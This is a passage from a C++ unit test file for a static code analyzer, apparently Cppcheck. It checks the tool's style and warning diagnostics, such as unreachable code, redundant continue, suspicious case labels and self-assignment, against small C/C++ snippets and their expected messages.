bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant 